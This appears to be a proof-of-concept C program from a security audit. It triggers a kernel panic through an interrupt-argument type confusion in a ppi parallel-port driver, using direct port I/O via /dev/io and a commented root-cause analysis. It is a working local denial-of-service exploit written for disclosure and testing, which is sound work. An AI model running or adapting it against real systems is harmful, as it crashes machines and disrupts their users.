DF-4806 / ppi_intr_panic.c
/* * DF-4806 PoC trigger: ppiintr() interrupt-argument type confusion. * * ppiopen() registers the interrupt handler as: * BUS_SETUP_INTR(ppbus, ppidev, ppi->intr_resource, 0, * ppiintr, dev, ...) <-- dev is the *cdev_t* * but ppiintr() does: * device_t ppidev = (device_t)arg; <-- treated as *device_t* * * On amd64, device_get_parent() reads offset 0x28 of 'struct bsd_device', * which lands on struct cdev's link.tqe_prev (the cdev TAILQ linkage). * The resulting bogus "ppbus" pointer is chased by ppb_rctr() -> * PPBUS_IO(device_get_parent(bogus), ...) -> wild deref at IRQ time * -> kernel page fault in interrupt context -> panic. * * Arming precondition (bug A, ppi.c:160): the legacy IRQ allocation omits * RF_SHAREABLE, so on a stock system (ppc0 already holds irq7 shareable, * ppc.c:1882) intr_resource is always NULL and the handler is never * registered. The audit's arming.diff adds the missing RF_SHAREABLE -- * the minimal, independently-correct fix that makes PERIPH_1284 mode * functional -- which registers ppiintr and arms the type confusion (bug B). * * Usage (root): ./ppi_intr_panic * 1. open /dev/ppi0 -> ppiintr registered (arg = cdev_t) * 2. open /dev/io -> iopl for port access * 3. mimic the lpt strobe that QEMU's emulated printer ACKs -> irq7 * Expected on the unpatched (armed) module: instant kernel panic * ("Fatal page fault"/"double fault" in interrupt context). */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> static inline void outb(unsigned short port, unsigned char val) { __asm __volatile("outb %0,%1"::"a"(val), "d"(port)); } static inline unsigned char inb(unsigned short port) { unsigned char v; __asm __volatile("inb %1,%0":"=a"(v):"d"(port)); return (v); } int main(int argc, char **argv) { int fd, io, i; fd = open("/dev/ppi0", O_RDWR); if (fd < 0) { perror("open /dev/ppi0"); return (1); } printf("[+] /dev/ppi0 opened - ppiintr registered on irq7 (arg=cdev_t)\n"); fflush(stdout); io = open("/dev/io", O_RDONLY); if (io < 0) { perror("open /dev/io"); return (1); } printf("[+] /dev/io opened (iopl granted); status=0x%02x ctl=0x%02x\n", inb(0x379), inb(0x37a)); fflush(stdout); /* Enable the port IRQ line (control |= IRQENABLE|nINIT|SELECTIN) */ outb(0x37a, 0x1c); usleep(1000); for (i = 0; i < 8; i++) { /* data byte out; the emulated printer ACKs each strobe -> irq7 */ outb(0x378, (unsigned char)(0x41 + i)); usleep(1000); outb(0x37a, 0x1d); /* strobe pulse */ usleep(3); outb(0x37a, 0x1c); usleep(50000); printf("[+] strobed byte %d, status=0x%02x - still alive\n", i, inb(0x379)); fflush(stdout); } printf("[-] survived %d strobes; no interrupt was delivered to ppiintr\n", i); return (2); } |